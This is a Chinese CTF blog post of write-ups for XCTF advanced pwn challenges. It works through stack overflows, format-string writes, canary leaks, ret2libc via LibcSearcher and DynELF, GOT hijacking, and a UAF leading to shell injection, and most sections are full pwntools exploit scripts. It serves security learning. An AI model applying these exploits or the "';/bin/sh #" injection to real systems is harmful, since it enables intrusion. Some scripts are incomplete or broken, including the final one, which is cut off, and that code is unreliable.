攻防世界 Pwn 进阶 第一页

本文深入探讨了攻防世界Pwn实战中的多种技术,包括栈溢出、字符串格式化漏洞、整数溢出等常见漏洞及其利用方法。文章详细介绍了从新手区到进阶区的多个挑战案例,涵盖从简单的栈溢出到复杂的堆利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

00

要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区。
攻防世界 Pwn 新手
1、栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc。
常见漏洞点有read()函数、gets()函数、strcat()函数等等。
栈溢出在进阶区还涉及到了很多,包括一些保护机制的绕过。
2、字符串格式化漏洞
在这里插入图片描述字符串格式化漏洞在新手区只是对内存的读取,修改。
在进阶区还要涉及很多高级应用,下面再说。

3、整数溢出
在这里插入图片描述

4、指针函数强制转换漏洞
在这里插入图片描述

5、随机数问题

01 monkey

单独将它放到这里就是它跟别的都不大一样……
整了个js库进来 用了js库就能执行js函数了
用了那个js库以后就能执行js函数
长这样
os.system(‘cat flag’)

发现扔IDA 好像没啥用
直接扔虚拟机运行

from pwn import *
 p = remote('111.198.29.45', 36913)
 elf = ELF(./js)
p.recv()
p.send('os.system(\'cat flag\')')  #这个地方要注意 \'是反义符  就是输入'  还有js函数左右两边的''
#是类似与Sql注入那样把前面的输入闭合。
p.interactive()

02 dice_game

随机数
参考新手区那个随机数题就好了

#-*- coding:utf-8 -*-
from pwn import*
from ctypes import*
context.log_level="debug"
r=remote("220.249.52.133",42528)
lib = cdll.LoadLibrary('libc.so.6')
r.recvuntil("name:")#这里没有'\n',所以读一行就有问题 不能recvline()         
payload='A' * 0x40 + p64(0)
payload=payload.ljust(0x50,"C")
r.sendline(payload)
for i in range(50):
    r.sendlineafter("point(1~6): ",str(lib.rand() % 6 + 1))
r.interactive()

03 反应釜

就是最简单的栈溢出
sprintf
C 库函数 int sprintf(char *str, const char *format, …) 发送格式化输出到 str 所指向的字符串。
str – 这是指向一个字符数组的指针,该数组存储了 C 字符串。
format – 这是字符串,包含了要被写入到字符串 str 的文本。
它可以包含嵌入的 format 标签,format 标签可被随后的附加参数中指定的值替换,并按需求进行格式化。
这题刚开始看那代码确实看了一会……研究半天
然后跑一下 发现就那么回事
然后发现就最最最最最简单的一个栈溢出……
就个这……

from pwn import*
r=remote("220.249.52.133",48469)
payload = 'A' *  0x208 + p64(0x4005f6)
r.sendlineafter(">",payload)
r.interactive()

04 stack2

数组索引时没有检查边界
要注意的点不大一样,这个题里面注意的是全局变量,下一个题注意的是函数指针强制转换函数。

在这里插入图片描述

from pwn import*
context.log_level = "debug"
r=remote("220.249.52.133",38633)
r.recvuntil("How many numbers you have:")
r.sendline("1")
r.recvuntil("Give me your numbers")
r.sendline("1")
r.recvuntil("5. exit")
v3address = 0x84
#这个地方的ret比之前的多加了个0x10    因为是主函数而且有全局变量
#下面那个就是也是主函数,但是没有全局变量,他就还是老地方返回函数
def writea(number,address):
    r.sendline('3')
    r.recvuntil("which number to change:")
    r.sendline(str(address))
    r.recvuntil("new number:")
    r.sendline(str(number))
    r.recvuntil("5. exit")
writea(0x50,v3address)
writea(0x84,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
v3address += 8
writea(0x87,v3address)     #这地方就是比较坑那地方
writea(0x89,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
r.sendline('5')
r.interactive()

来一个网上对坑分析比较好的链接

05 forgot

函数指针强制转换 跟栈溢出
在这里插入图片描述

阅读程序,发现最下面有个函数指针强制转换漏洞,想办法利用,发现change选项可以通过数组的形式修改v3数据。
我感觉像上面那个题的类型题。

from pwn import *

# io=process('./forgot')
io=remote('111.198.29.45',41178)

io.sendline('fuck')
addr=0x80486CC
payload='\x47'*(0x20)+p32(addr)
io.sendline(payload)

io.interactive()

06 warmup

啥也没给,就是fuzz
fuzz 也就是盲打

from pwn import* 
#context.log_level='debug'
addr=0x40060d
def fuzz(r,num,flag):
	payload='a'*num
	if flag==1:
		payload+=p32(addr)
	if flag==2:
		payload+=p64(addr)
	r.recvuntil(">")
	r.sendline(payload)
def main():
	for i in range(1000):
		print(i)
		for j in range(3):
			try:
				r=remote("111.198.29.45",46588)
				fuzz(r,i,j)
				text=r.recv()
				print('text.len='+str(len(text))+'text='+text)
				print('num='+str(i)+'flag='+str(j))
				r.interactive()
			except:
				r.close()
if__name__=='__main__':
	main()

写爆破程序的时候,你如果最后用p.interactive() 程序就会卡住,Ctrl+c才能继续循环;建议用p.sendline(‘cat flag’)之类的,然后判断交互的结果有没有你想要的值,如果有就interactive(),否则继续。

07 实时数据监测

就是一个最简单的字符串格式化漏洞 就是数有点大,跑脚本的时候不知道为啥会跑好一会

但是我看那里面那个key的值我就觉得好像没那么简单
数太大 %$n 这样输入太长了鸭
但还是觉得试试
然后就这样写

from pwn import*
context.log_level="debug"
r=remote("220.249.52.133",33732)
payload=p32(0x0804a048) + "%35795742x%$12n"
r.send(payload)
r.interactive()

网上的wp有个这样的

#coding = utf-8
from pwn import*
#context.log_level="debug"
r=remote("220.249.52.133",33732)
payload = "%35795746x" + "%16$n\x00" + p32(0x804a048)
#payload的构造上有一些不一样
r.send(payload)
r.interactive()

来一个万能模板

key_bss_addr =    
key =    
main_addr = 
offset = 
payload = fmtstr_payload(offset,{key_bss_addr:key})

在这个题里

p = remote()
key == 0x084a048
offset = 12
value = 35795746
payload = fmtstr32(offset,{key:value})
r.sendline(payload)

但是人家正宗的wp用的是字符串盲打
下面有两个链接 参考一下

链接1
链接2

这两篇文章都太强了,让我对字符串格式化漏洞以及它的盲打有了一个全新的认识,码住码住。

08 Mary_Morton

字符串格式化漏洞 栈溢出漏洞 还有canary绕过
这个题 绕过是主角
canary绕过大概思路就是先通过格式化字符串函数讲canary泄露出来
然后栈溢出的时候记得把canary给它写上
就行
在这里插入图片描述
一般程序里面有canary保护的话就有个这玩意。

在这里插入图片描述
上面这个是栈溢出

在这里插入图片描述

上面这个是格式化字符串漏洞

#coding=utf-8
from pwn import *
 
context.log_level = 'debug'
p = remote('111.198.29.45',56161)
 
p.recvuntil("Exit the battle ")
p.sendline(str(2))#先进入格式化函数泄漏cannary
p.sendline("%23$p")#泄漏cannary  前面那个$别忘了  就是泄露指针偏移23处的数据
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16个字节  这地方好好看一下
 
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

e.g.下面三个题先看这个文章

点这里
太牛逼了……
都不用我写啥了
我再把网上的一些wp借鉴一下
再写一些自己的看法
这三个题都应该有两种方向吧……
libcsearcher 跟 dynelf
理论上能用system 也能用 execve
上面对前者进行了介绍,这篇文章主要是对后者的说明。

其实他俩是一样的,都是因为或者没有给出libc库,或者给出的库与服务器的库版本不一致,这时候可能库中的数据偏移不一样导致出问题。
libcsearcher是用python的类库代替你要使用的libc库文件。还是通过计算基址偏移等获得相关函数地址。
DynELF通俗的讲就是通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算对比出目标符号在内存中的地址。

dynelf主要是需要可以循环的地方,一般不都是……有个子函数,函数里面有个read函数,能够不停循环构成栈溢出。

关于Dynelf的原理探究有一篇很好的文章可以看一下
Dynelf原理

09 pwn1

canary绕过 ret2libc 对puts函数的利用
就是mary跟level3的一个结合题再加一点变化,更上一个层次的话就是直接连libc库也没有。
这个格式化字符串漏洞是利用的puts

这里首先要插入一个知识点
32位与64位传参机制不一样,所以在写rop链时也需要注意,32位传参时参数直接就在返回地址前面,而64位传参是遵循的规则是:当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9,所以就需要我们先在我们的程序里找到对应的gadget(就是小代码的意思),找到合适的pop指令,先执行pop函数,将参数压入相应的寄存器,在进行函数的调用。
有两种方法去找所需要的gadget。
第一种是在IDA中找相应的pop代码可以直接Alt+t查找pop,进行简单的筛查,确定合适pop指令。

在确定pop指令的时候,经常不会直接找到pop rdi这种指令一般找到的都是这个
在这里插入图片描述
一定要找这种最后带一个retn返回语句的,不然在执行ROP链时执行pop指令后回不到你的ROP链。
然后需要用到逆向中的技巧,在这里调整它的反汇编代码,具体方法就是选中指令,按d转换成数据,再找到合适位置按c转换成指令,寻找我们要的pop指令。
在这里插入图片描述
这就是效果图,这道题就是要pop rdi这个指令,他的地址就是0x400A93。
第二种是用我们的使用小工具,ROPgadget。
关于下载安装配置环境啥的,我还专门写了个博客。
ROPgadget 安装 错误处理 与使用

在这里插入图片描述这是效果图。

e.g. 每次400a70 那里都会有想要的pop 跟 move 我也不知道为啥…… 就离谱……

e.gg. 这里在泄露libc里面的地址可以用之前的常规方法,先泄露system 跟 shell,也可以用这里的用这个新的小东西,one_gadget 。

e.ggg. 这个题里面用puts输出也非常值得被注意

先是用one_gadget的
有了ROPgadget的下载安装使用,就再来一个one_gadget。
one_gadget 下载安装与使用

它就是用来查一下动态链接库里面的execve函数的,就这。就省的你再去找system函数,还要去找‘/bin/sh’。
还是挺好用的。

然后下面是查到的
在这里插入图片描述
wp

from pwn import *
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
p=remote('220.249.52.133',39455)
prdi_addr=0x0400a93
main_addr=0x0400908
one_gadget_addr=0x45216
put_plt=elf.plt['puts']
put_got=elf.got['puts']
p.sendlineafter('>> ','1')
p.sendline('a'*0x88)   
#太坑了吧  这里因为是puts函数  必须用sendline  因为它读\n才停
p.sendlineafter('>> ','2')
p.recvuntil('a'*0x88+'\n')
canary=u64(p.recv(7).rjust(8,'\x00'))   
#u64跟p64是反的  这点要注意了
print hex(canary)
p.sendlineafter('>> ','1')
payload='a'*0x88+p64(canary)+'a'*8+p64(prdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
#一定要在后面返回主函数  
p.sendline(payload)
p.sendlineafter('>> ','3')
put_addr=u64(p.recv(8).ljust(8,'\x00'))
#recv(8)不是接受8个字节 是最多8个,可能是6个
#所以后面要是不补全,u64函数就可能报错。
#这里的ljust跟上面的rjust也不一样,有讲究
#上面那个是canary默认最后一个字节是00而且被\n覆盖了,就右对齐
#下面这个是它读到00停了 ,就左对齐。
print hex(put_addr)
libc_base=put_addr-libc.symbols['puts']
flag=libc_base+one_gadget_addr
p.sendlineafter('>> ','1')
payload1='a'*0x88+p64(canary)+'a'*8+p64(flag)
p.sendline(payload1)
p.sendlineafter('>> ','3')
p.interactive()

以后在虚拟机里跑exp要多跑几次,我发现它有时候对的exp先后两次跑结果不一样,要多尝试几次。

首先是关于one_gadget的使用,它的功能是寻找已知libc库中的execve("/bin/sh")语句,首先要求libc库是已知的,如果是远程服务器,则execve函数跟system没啥区别,所以就它给了你libc库,用一用one_gadget就非常方便。

然后还是写了一下传统的没有用one_gadget的
现学现用
在这里插入图片描述
嘿嘿嘿,ROPgadget确实好用

#from pwn import*
context.log_level = "debug"
r = remote("220.249.52.133",39455)
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
pop_addr = 0x400a93
main_addr = 0x400908
system_addr = libc.symbols['system']
bin_addr = 0x18cd17
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
print(hex(canary))
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
r.recvuntil(">> ")
r.send("1")
r.send(payload1)
r.recvuntil(">> ")
r.send("3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
r.recvuntil(">> ")
payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base)
print(p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base))
r.send("1")
r.send(payload2)
r.recvuntil(">> ")
r.send("3")
r.interactive()

写好了,可恶,但是过不了,开始查资料……

在这里插入图片描述
在这里插入图片描述
我吐了……libc是假的?用libcsearcher?
好,试一试。
先来看看什么是libcsearcher
libcsearcher 安装 错误处理 与使用

然后相应wp

from pwn import*
from LibcSearcher import*

#context.log_level = "debug"

r = remote("220.249.52.133",38049)
elf = ELF('./babystack')
pop_addr = 0x400a93
main_addr = 0x400908
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
r.recvuntil(">> ")
r.send("1")
r.send(payload1)
r.recvuntil(">> ")
r.send("3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))

#下面是libcsearcher的重点地方
libc = LibcSearcher('puts',puts_addr)
#这个是根据puts函数地址来定位基质
libc_base = puts_addr - libc.dump('puts')
system_addr = libc.dump("system")
bin_addr = libc.dump("str_bin_sh")

r.recvuntil(">> ")
payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base)
print(p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base))
r.send("1")
r.send(payload2)
r.recvuntil(">> ")
r.send("3")
r.interactive()

正当我想结束这道题的时候,问题又来了……那讲道理是不是也能用Dynelf写一下呢……
尝试过后,

from pwn import*
r = remote("220.249.52.133",33391)
elf = ELF("./babystack")
prdi_addr = 0x0400a93
main_addr = 0x0400908
start_addr = 0x400720
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
def leak(addrss):
    payload1 = 'a' * 0x88
    r.sendlineafter(">> ","1")
    r.sendline(payload1)
    r.sendlineafter(">> ","2")
    r.recvuntil('a' * 0x88 + '\n')
    canary = r.recv(7).rjust(8,'\x00')
    payload = 'a' * 0x88 + canary + 'a' * 8 + p64(prdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    r.sendlineafter(">> ","1")
    r.sendline(payload)
    r.sendlineafter(">> ","3")
    data = u64(r.recv(8).ljust(8,'\x00'))
    return data
dynelf = DynELF(leak,elf = ELF("./babystack"))
system_addr = dynelf.lookup("__libc_system", "libc")
r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
r.sendlineafter(">> ","1")
r.send(payload1)
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(system_addr) + 
r.interactive()

npnpnpnpnpnp

10 pwn200

这是Dynelf,抄过来是想写一点想要的注释。

from pwn import *
import binascii
p = process("./xdctf-pwn200")
elf = ELF("./xdctf-pwn200")
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']
vulnaddress =  0x08048484 
startaddress = 0x080483d0      #调用start函数,用以恢复栈
bssaddress =   0x0804a020    #用来写入“/bin/sh”字符串
def leak(address):
  payload = "A" * 112
  payload += p32(writeplt)
  payload += p32(vulnaddress)  
  #这个函数是read函数在的地方,为的是让它一直返回这里读入数据构成栈溢出然后泄露地址。
  payload += p32(1)
  payload += p32(address)
  payload += p32(4)
  p.send(payload)
  data = p.recv(4)
  return data
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc") 
print "systemAddress:", hex(systemAddress)
#调用_start函数,恢复栈
#不恢复行不行?
#大佬是这么讲的……
#在信息泄露过程中,由于循环制造溢出,故可能会导致栈结构发生不可预料的变化,可以尝试调用目标二进制程序的_start函数来重新开始程序以恢复栈.
#看了很多dynelf  每一个都有恢复栈这个过程,虽然还是不是很清楚为啥……就先这吧……
payload1 = "A" * 112
payload1 += p32(startaddress) 
p.send(payload1)
print p.recv()
ppprAddress = 0x0804856c  #获取到的连续3次pop操作的gadget的地址 
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8)
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1)
p.send('/bin/sh')
p.interactive()

下面是自己写的LibcSearcher

from pwn import*
from LibcSearcher import*
context.log_level = "debug"
r = remote("220.249.52.133",42633)
elf = ELF("./pwn200")
write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = 0x080483d0
bss_addr = 0x0804a020
r.recvline()
payload = 'a' * 112
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
r.send(payload)
write_addr = u32(r.recv())
print(hex(write_addr))
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
print(hex(system_addr))
bin_addr = libc_base + libc.dump("str_bin_addr")
print(hex(bin_addr))
payload2 = 'a' * 112 + p32(system_addr) + p32(vuln_addr) + p32(bin_addr)
r.send(payload2)
r.interactive()

这个题没有libc库,Dynelf的话就得要求写shellcode,LibcSearcher的话就用不着。

11 pwn100

这是Dynelf
要记得64位参数传递顺序是rdi, rsi, rdx, rcx, r8, r9

from pwn import *
import binascii
p = process("./pwn100")
elf = ELF("./pwn100")
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']
mainaddress =   0x4006b8
startaddress =   0x400550
poprdi =  0x400763
pop6address  =  0x40075a   
movcalladdress = 0x400740   
#这里pop一个可以,但是pop6个的话指令不在一起,需要这个mov这里的函数帮忙,两个地方一起实现修改寄存器中的值为参数。
waddress =  0x601000
def leak(address):
  count = 0
  data = ''
  payload = "A" * 64 + "A" * 8
  payload += p64(poprdi) + p64(address)
  payload += p64(putsplt)
  payload += p64(startaddress)
  payload = payload.ljust(200, "B")
  p.send(payload)
  print p.recvuntil('bye~n')
  up = ""
  while True:
    c = p.recv(numb=1, timeout=0.5)
    count += 1
    if up == 'n' and c == "":
      data = data[:-1]
      data += "x00"
      break
    else:
      data += c
    up = c
  data = data[:4]
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data
d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)
print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)
payload1 += p64(movcalladdress)
payload1 += 'x00'*56  #这里加的56个这东西
payload1 += p64(startaddress)
payload1 =  payload1.ljust(200, "B")
p.send(payload1)
print p.recvuntil('bye~n')
p.send("/bin/shx00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress)
payload2 += p64(systemAddress)
payload2 += p64(startaddress)
payload2 =  payload2.ljust(200, "B")
#这里补充道200
p.send(payload2)
p.interactive()

这个题感觉就LibcSearcher更简单一点了,毕竟只要泄露一下puts的地址就可以了,所以我突然感觉……Dynelf好处是不是不是那么的明显?

12 welpwn

LibcSearcher

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
context.log_level  = 'debug'  
sh = process('./pwnh13')  
#sh = remote('111.198.29.45',51867)  
elf = ELF('./pwnh13')  
write_got = elf.got['write']  
puts_plt = elf.plt['puts']  
#此处有4条pop指令,用于跳过24字节  
pop_24 = 0x40089C  
#pop rdi的地址,用来传参,具体看x64的传参方式  
pop_rdi = 0x4008A3  
sh.recvuntil('Welcome to RCTF\n')  
main_addr = 0x4007CD  
#本题的溢出点在echo函数里,然而,当遇到0,就停止了数据的复制,因此我们需要pop_24来跳过24个字节  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)  
sh.send(payload)  
sh.recvuntil('\x40')  
#泄露write地址  
write_addr = u64(sh.recv(6).ljust(8,'\x00'))  
libc = LibcSearcher('write',write_addr)  
#获取libc加载地址  
libc_base = write_addr - libc.dump('write')  
#获取system地址  
system_addr = libc_base + libc.dump('system')  
#获取/bin/sh地址  
binsh_addr = libc_base + libc.dump('str_bin_sh')  
sh.recvuntil('\n')  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  
sh.send(payload)  
sh.interactive()  

下面这个是Dynelf

#!/usr/bin/env python
from pwn import *
p=remote('111.198.29.45',41724)
elf=ELF('./welpwn')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
def leak(address):
    print p.recv(1024)
    payload1='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(address)+p64(1)+p64(mov_addr)+'A'*56+p64(start_addr)
    payload1=payload1.ljust(1024,'C')
    p.send(payload1)
    data=p.recv(8)
    #print "%x => %s" % (address, (data or '').encode('hex'))
    return data
d=DynELF(leak,elf=ELF('./welpwn'))
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
bss_addr=elf.bss()
prdi_addr=0x04008a3
print p.recv(1024)
payload2='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)+p64(mov_addr)+'A'*56+p64(prdi_addr)+p64(bss_addr)+p64(sys_addr)+'a'*8
payload2=payload2.ljust(1024,'C')
p.send(payload2)
p.sendline('/bin/sh\x00')
p.interactive()

13 Recho

漏洞点:申请字符串空间小于允许读入的字符串个数导致缓冲区溢出

三个考察点

ROP链构造
Got表劫持
pwntools的shutdown功能

一些基础知识

两个函数
atoi()
C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)。
read()函数返回值
大概的意思就是read函数从文件描述符fd中读取字节到count大小的buf中,如果成功读取的话,返回读到的字节数大小,否则返回-1.

三个知识
函数参数传递顺序
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
shutdown(‘send’)跳出函数无线循环
rax寄存器在构造exp中,可用于劫持got表,调用系统序号函数。

在这里插入图片描述
没有检查数组长度,导致溢出了。

我不可能讲的比这个再好了。

我小小的补充一点东西,那里面所有寻找gadget都是通过IDA找的,我想在这里试一下用ROPgadget。

在这里插入图片描述

在这里插入图片描述
ROPgadget还是顶啊。

想尝试一下用其他寄存器,但是找半天发现,好像确实就rdi能实现。

下面这是正版WP

from pwn import *
# io = process('./Recho')
io = remote('111.198.29.45',41375)
elf = ELF('./Recho')
context.log_level = 'debug'
pop_rdi = 0x4008a3
pop_rdx = 0x4006fe
pop_rax = 0x4006fc
pop_rsi_r15 = 0x4008a1
rdi_add = 0x40070d
flag_addr = elf.symbols['flag'] 
read_got = elf.got['read']

# bss = 0x601090
bss = elf.bss()  #两者都可以
#这个地方要注意  这玩意还是很实用的
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
print 'flag: ',hex(flag_addr)


payload = 'A'*0x30  #覆盖buf[40]; // [rsp+10h] [rbp-30h] 
payload +='A'*0x08 #覆盖 rbp
#alarm GOT表劫持到syscall位置
payload += p64(pop_rax)+p64(0x5)
payload += p64(pop_rdi)+p64(alarm_got)
payload += p64(rdi_add)  
# -------fd=open('flag',READONLY)-----

payload += p64(pop_rdi)+p64(flag_addr)  #rdi='flag

payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
payload += p64(pop_rdx)+p64(0) # rdx = 0
payload += p64(pop_rax)+p64(0x2) # rax=2,open的调用号为2
# 执行alarm完成GOT表劫持,syscall的传参顺序是rdi,rsi,rdx,r10,r9,r8

payload += p64(alarm_plt) 
# 将flag传回的值写入到bss段 read(fd,stdin_buffer,100)
payload += p64(pop_rdi)+p64(3) #open()打开文件返回的文件描述符一般从3开始,系统环境不一样也可能不是3,依次顺序增加
payload += p64(pop_rdx)+p64(0x2d) #指定长度
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi =写入的地址,用于存取open结果
payload += p64(read_plt)
#输出flag值,write(1,bss,0x40),也可以用print函数
payload += p64(pop_rsi_r15)+p64(bss)+p64(0)
payload += p64(pop_rdx)+p64(0x40)
payload += p64(pop_rdi)+p64(0x01)
payload += p64(write_plt)
# 用printf 函数时,要注意bss段的可写性,bss此时应改为0x601090或者0x601070
#payload+=p64(pop_rdi)+p64(bss)+p64(printf_plt)  

io.sendline(str(0x200))
# log.info('the length of payload is:',format(hex(len(payload))))
print 'the length of payload is:',format(hex(len(payload)))
payload = payload.ljust(0x200,'\x00')
io.send(payload)
io.recv()
io.shutdown('send')
io.interactive()

14 greeting-150

字符串格式化漏洞 GOT表劫持 覆盖.fini_array
说点理解
字符串格式化漏洞从刚开始的任意写,到了后面任意读,读出想要的各种地址,但是有个必须条件,就是程序能够循环读,只有这样才能读的多,才能将漏洞利用起来。
所以如何利用这个漏洞将程序设计的可以循环,是这个题的重点。
因为没有后门函数,也没有栈溢出啥的,就只能劫持GOT表来。
这里是三篇非常棒的参考文章。
1 wp

2 wp

3 原理

这个题我研究半天的地方在它为啥要把地址拆成两半两个字节两个字节的进行传值。

from pwn import *
context.log_level='debug'
#io=remote("111.198.29.45",47611)
io=process("./greeting-150")
elf=ELF("./greeting-150")
strlen_got=elf.got['strlen']
fini_got=0x08049934
start_addr=0x80484f0
system_plt = 0x8048490 
payload="aa"   #这对齐别忘了
payload+=p32(strlen_got+2)
payload+=p32(fini_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_got)
payload+="%2016c%12$hn%13$hn" 
#但是这个就好特殊啊……就是要一直数到这行完了   /黑人问号   
#先记着吧……挺特殊的
#难道是因为一次输两个??
payload+="%31884c%14$hn" #这里就是直接加前面的2052
payload+="%96c%15$hn"  #这里也是直接加前面的31884
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

printf函数实际上只是输出到了标准输出缓冲队列上,并没有实实在在的打印到屏幕上,标准输出是行缓冲机制,也就是说,遇到\n,就会刷新缓冲区,输出到屏幕上。

说到分开的话就是如果%$n前面有多少字节才往目标地址写多少,所以你写个啥%1242131x它是需要申请这么多缓冲空间的,空间多容易出事,也浪费内存,降低效率。

15 time_formatter

下面开始了堆的漏洞
首先是uaf
这个题就是uaf的第一个题
第一个函数跟进里面有个strdup()函数,
strdup()说明:返回指向被复制的字符串的指针,所需空间由malloc()分配且可以由free()释放。
这里就是通过malloc()给ptr分配空间

C 库函数 size_t strcspn(const char *str1, const char *str2) 检索字符串 str1 开头连续有几个字符都不含字符串 str2 中的字符。

/bin/date -d @%d +'%s'
这看起来像一个命令注入,但由于时间戳为%d,format字符串经过一系列过滤,我们不能在那里注入什么。
但是时区设置可以没有限制的调用
可以看到3个功能都是通过strdup分配的空间,而且程序在输入5退出时并没有清除指针,这就有了一个UAF
如果我们能通过UAF使得set_time_zone分配得到的是set_format释放掉的内存,那么就能成功绕过对字符串的过滤
先调用set_format,这时我们输入的字符串需要是合法的,这样才能将指针拷贝到bss上的全局变量上调用exit,制造悬挂指针
最后再设置时区,复用chunk(由于format指针是先free的,所以只用设置一次时区)

关于4选项里面的snprintf函数以及时间格式化找了一点资料供参考。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这是网上的两种绕过方式。
set_zone(’%Y’;cat flag’’)
p.sendline("’;/bin/sh #")

这是要绕过,这么绕需要知道一个知识点
在linuxshell中,假如有如下语句,这就是shell注入方面echo ‘’;ls;cat 1.txt;/bin/sh;’’则ls、cat 1.txt、/bin/sh这三个命令会依次执行,这也就是本题突破的关键

格式化字符串后的command就是/bin/date -d @0 + ‘’;/bin/sh’’

有两个小坑

在这里插入图片描述

写好exp以后发现过程有点问题,发现多了两句话,如上图,IDA里面没有直接显示这两句话,开始找。

在这里插入图片描述
在这里插入图片描述
发现用了这种手法将其写出来,所以IDA 里面没有直接的提示。

在这里插入图片描述
下面还有一个类似的

这就提示我们以后还是把程序试一试,少走这坑。

下面是完整exp

#-*-coding: utf-8-*-
from pwn import *

p = remote('220.249.52.133',55829)
#p = process('./time_formatter')

print p.recvuntil('> ')
p.sendline('1')
print p.recvuntil('Format: ')
p.sendline('%F')

print p.recvuntil('> ')
p.sendline('5')
print p.recvuntil('Are you sure you want to exit (y/N)? ')
p.sendline('N')

print p.recvuntil('> ')
p.sendline('3')
print p.recvuntil('Time zone: ')
p.sendline("';/bin/sh #")
print p.recvuntil('> ')
p.sendline('4')
p.interactive()

16 note-servive2

数组下标越界 GOT表劫持 堆shellcode
漏洞点:没有检查数组越界

在这里插入图片描述
分析一下,输入个序号,然后有个数组,然后向那个数组里对应的序号地方存信息,然后又没有检查数组,就漏洞点出来了。

既然数组下标可以越界,那么我们就可以把任意的地方的8字节数据写成新建的堆的地址指针
那么,通过数组越界,我们可以把一些函数的GOT表内容修改为堆指针,由于程序NX保护是关闭的,
那么堆栈里的数据也可以当成指令执行。那么我们在堆里布置shellcode即可

wp1

wp2

两篇wp结合就无敌。

这是修改atoi的got

#coding:utf8  
    from pwn import *  
      
    sh = process('./pwnh21')  
    #sh = remote('111.198.29.45',30061)  
    #没有不行
    context(os='linux',arch='amd64')  
    def create(index,size,content):  
       sh.sendlineafter('your choice>>','1')  
